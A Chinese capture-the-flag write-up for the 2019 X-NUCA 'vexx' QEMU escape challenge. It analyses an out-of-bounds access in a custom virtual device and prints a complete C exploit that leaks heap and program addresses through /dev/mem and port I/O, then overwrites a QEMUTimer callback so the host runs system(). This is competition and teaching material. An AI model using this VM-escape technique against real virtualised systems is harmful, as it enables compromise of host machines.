2019 xnuca pwn vexx
保护是全开的
首先来看启动文件
#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot
设备的名字叫vexx
当然似乎还有个设备叫rtl8139
他是qemu-kvm中的网卡设备,不必多管
启动一下,用的是ubuntu20.04的环境
发现缺几个库
sudo apt-get install libncurses5
sudo apt-get install libncursesw5
两个命令搞定
用户名root
密码goodluck
函数就这么一堆
基类初始化没啥好看的
可以看到我们的两个id
可以找到对应设备的总线等信息。
重点先来看一下类对象初始化的realize
注册了两个mmio
最后两个成员也是两个结构体
重点还是来到两个read,两个write,还有cmb的一套对应mmio的read/write
我们一个一个分析
首先看mmio_read
然后是mmio_write
然后是pmio_write
然后是pmio_read
pmio rw没啥。可以对三个变量进行读写。
那就再看看cmb rw
vexx_cmb_read
vexx_cmb_write
漏洞很清晰了
所以我们现在就是讨论如何利用漏洞。
我们要重点介绍一个结构体
首先我们要知道我们越界的位置在
VexxState结构体中的req成员
req成员是一个VexxRequest结构体
这个成员下面还有一个成员,VxeeDma结构体类型的
这里面有个成员,dma_timer
他是一个QEMUTimer_0结构体
他又是QEMUTimer结构体的别称
我们要重点介绍的就是这个结构体
opaque指针指向VexxState的结构体的堆块,我们读它可以泄露堆地址
cb也是一个指针,指向我们的vexx_dma_timer函数,我们可以通过它泄露基地址。
然后呢在vexx_mmio_write里面有一条这样的调用链
timer_mod
timer_mod_ns
timerlist_notify
cb(opaque)
所以我们只要把cat flag这种字符串写在req_buf中,再拿到req_buf地址。
然后覆盖cb为system_plt,覆盖opaque为req_buf地址
就可以getshell。
首先先拿到mmio pmio的地址
这里可以拿到pmio的base地址
这样可以拿到mmio的地址跟大小。
具体哪个地址对应的是那个mmio
看这里
当然我们也可以通过/dev/mem文件,来访问
我们直接mmap/dev/mem到内存,然后对他访问来控制mmio。
raycp大佬这部分都写好了
我们直接用
exp用了raycp大佬的模板,而且主体部分也比较简单,没啥可写的,就抄来稍作解释。raycp大佬可太强了。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;void die(const char* msg)
{perror(msg);exit(-1);
}void* mem_map( const char* dev, size_t offset, size_t size )
{int fd = open( dev, O_RDWR | O_SYNC );if ( fd == -1 ) {return 0;}void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );if ( !result ) {return 0;}close( fd );return result;
}uint8_t mmio_read(uint32_t addr)
{return *((uint8_t*) (mmio_mem+addr));
}void mmio_write(uint32_t addr, uint8_t value)
{*( (uint32_t *) (mmio_mem+addr) ) = value;
}uint8_t cmb_read(uint32_t addr)
{return *((uint8_t*) (cmb_mem+addr));
}void cmb_write(uint32_t addr, uint8_t value)
{*( (uint8_t *) (cmb_mem+addr) ) = value;
}void pmio_write(uint32_t addr, uint32_t value)
{outb(value,addr);
}uint8_t pmio_read(uint32_t addr)
{return (uint32_t)inb(addr);
}void set_offset(uint32_t value)
{pmio_write(pmio_base+0x10, value);
}void set_memorymode(uint32_t value)
{pmio_write(pmio_base+0x0, value);
}uint8_t arbitrary_read(uint32_t offset)
{set_offset(offset);return cmb_read(0x100);
}void arbitrary_write(uint32_t offset, uint8_t value)
{set_offset(offset);cmb_write(0x100, value);
}void normal_write(uint32_t offset, uint8_t value)
{set_offset(offset);cmb_write(0x0, value);
}int main(int argc, char *argv[])
{//这一部分就是利用/dev/mem直接写,比利用那个resource文件好使。system( "mknod -m 660 /dev/mem c 1 1" );mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );if ( !mmio_mem ) {die("mmap mmio failed");}cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );if ( !cmb_mem ) {die("mmap cmb mem failed");}// 想利用pmio就要先把io等级拉上来if (iopl(3) !=0 )die("I/O permission is not enough");//泄露地址set_memorymode(1);uint64_t heap_addr=0,tmp;uint32_t i;for (i=0;i<8;i++) {tmp = arbitrary_read(0x40+i);heap_addr=heap_addr+(tmp<<(i*8));}printf("leaking heap address: 0x%lx\n",heap_addr);uint64_t pro_addr=0;for (i=0;i<8;i++) {tmp = arbitrary_read(0x38+i);pro_addr=pro_addr+(tmp<<(i*8));}printf("leaking pro address: 0x%lx\n",pro_addr);uint64_t pro_base= pro_addr-0x4DCF10;uint64_t system_plt=pro_base+0x2AB860;//三个任意写char *para="ls&&cat ./flag";for(i=0; i< strlen(para); i++) {normal_write(0x0+i,para[i]);}uint64_t para_addr=heap_addr+0xb90;for(i=0; i<8; i++) {arbitrary_write(0x38+i,((char*)&system_plt)[i]);}for(i=0; i<8; i++) {arbitrary_write(0x40+i, ((char*)¶_addr)[i]);}//最后触发mmio_write(0x98,1);
}
2019 xnuca pwn vexx相关推荐
- X-NUCA'2019部分题目WP
0x00 前言 题目质量好高,题目好评 0x01 Ezphp 题目描述 ezphp php for beginner. hint: no race condition 题目解答 题目环境:apache ...
- 2019 湖湘杯 pwn strng2
稍做记录 uint64_t __cdecl strng_mmio_read(struct STRNGState *opaque, hwaddr addr, unsigned int size) {ui ...
- linux kernal pwn STARCTF 2019 hackme(三)userfaultfd机制修改cred
首先再熟悉一下userfaultfd机制 内存页的分配是创建时先分配页表但并不会实际分配物理页面.在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写 ...
- 2019浙江省大学生网络与信息安全竞赛决赛部分WriteUp
0x01 前言 这次比赛PWN爷爷没有去,去了OPPO的线下赛,所以最后只拿到了前十靠后的名次.不过还是拿到了省一等奖,也算没有留下什么遗憾. 0x02 万能密码 通过名字就可以知道这题考察的是最基本 ...
- 记一次院赛CTF的Pwn和Misc题(入门)
目录 Pwn easy pwn 莽撞人 反向读取 Misc drop the beats 拼东东 消失的50px Pwn 见到别的比赛的pwn题才幡然醒悟,已经没有比这些更简单的pwn题了. easy ...
- [BUUCTF-pwn]——[ZJCTF 2019]EasyHeap
[BUUCTF-pwn]--[ZJCTF 2019]EasyHeap 思路 我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道.没有结果, 但是我们有system函数我们可以将其放入我们可以 ...
- [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
- [BUUCTF-pwn]——[ZJCTF 2019]Login
[BUUCTF-pwn]--[ZJCTF 2019]Login 题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login 这道题学习还是很多的, 有的时 ...
- [BUUCTF-pwn]——[第五空间2019 决赛]PWN5
[BUUCTF-pwn]--[第五空间2019 决赛]PWN5 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 题目: 这是一道格式化字符串的 ...
最新文章
- java基础面试题:抽象类中是否可以有静态的main方法?
- 嵌入式EasyHMI V0.1版终于推出,C#真是软件开发的利器
- 倍福TwinCAT(贝福Beckhoff)常见问题(FAQ)-如何获取标准驱动器扭矩值获取电流值
- 编程开发涉及的非原生英文名词的读法
- Web 前端框架分类解读
- HEVC测试序列网址和账号
- POJ 3360 H-Cow Contest
- 怎么用便签在手机上记事?
- 计算机什么应用函数计算,函数计算器软件
- python源码包的安装和卸载
- html表格固定右侧列,jQuery锁定表头和固定列插件FixedTable
- python科赫雪花正方形_python—科赫曲线(科赫雪花小包裹)
- 卡斯卡迪亚社区建设者奖:2017年获胜者公布
- 【大数据】大数据技术框架,有这一篇文章就够了
- 宋智孝那个机器人_陈柏霖机器人竟然冷落宋智孝
- Vue和Element第一天
- matlab 比较两个函数,Matlab同时拟合两个函数 - 数学 - 小木虫 - 学术 科研 互动社区...
- openGauss亮相VLDB2020,展示内存优化研究成果
- delphi中增加FastMM4有效管理你的内存使用
- 【python】解决给文件写入汉字,中文字符乱码问题